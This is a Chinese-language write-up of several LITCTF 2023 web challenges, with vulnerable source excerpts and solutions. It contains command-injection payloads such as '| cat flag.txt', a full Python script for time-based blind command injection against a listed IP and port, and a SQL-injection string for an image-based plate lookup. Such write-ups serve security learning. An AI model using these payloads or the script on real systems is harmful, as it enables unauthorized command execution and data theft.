写出来的
My boss left
下载原代码查看
关键语句:
1 2
| $valid_password = 'dGhpcyBpcyBzb21lIGdpYmJlcmlzaCB0ZXh0IHBhc3N3b3Jk'; if ($login_data['password'] == $valid_password)
|
只要密码正确即可获得flag
抓包修改即可
unsecure
由简介可知,登录账号密码分别为admin和password123,进入题目要求我们到/welcome
页面
进入后输入账号密码登录,发现页面无法加载内容一直在发包
观察url,存在提示flag的位置在url栏,为某个get的值
使用burp拦截,一个个检查即可发现
PingPong
查看原代码
1 2 3 4 5 6 7
| @app.route('/', methods = ['GET','POST']) def index(): output = None if request.method == 'POST': hostname = request.form['hostname'] cmd = "ping -c 3 " + hostname output = os.popen(cmd).read()
|
可判断该题没有过滤,直接将用户输入的内容输出
选择命令注入| cat flag.txt
没写出来的
感谢土豆佬
https://potatowo233.github.io/2023/08/09/Litctf2023/
Ping Pong: Under Maintenance
本题与Ping Pong的区别为无回显且不出网,可采用sh语句用sleep进行判断(类似SQL时间盲注)
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests import time import string
url = 'http://34.130.180.82:56409/' flag = ''
pre = string.ascii_uppercase + '234567=' for i in range(1,200): for j in pre: s_time = time.time() payload = f'''|if [ `cat flag.txt|base32|cut -c {i}` = '{j}' ];then sleep 4;fi''' r = requests.post(url,data={ 'hostname':payload }) e_time = time.time() exec_time = e_time - s_time if exec_time > 4: flag += j print(flag) break
|
license-inject
百度后得知这是个车牌检索软件,可以获得图片的信息
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| plates.push({ name: 'codetiger', plate: Array(40) .fill('') .map(() => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'[Math.floor(Math.random() * 36)]) .join(''), fine: 'LITCTF{redacted}' }); plates.push({ name: 'Sample User', plate: '215BG2', fine: '$6942' });
|
闭合查询语句查询codetiger即可,但要用图片" or name = 'codetiger';--
第一次见到这种形式的SQL注入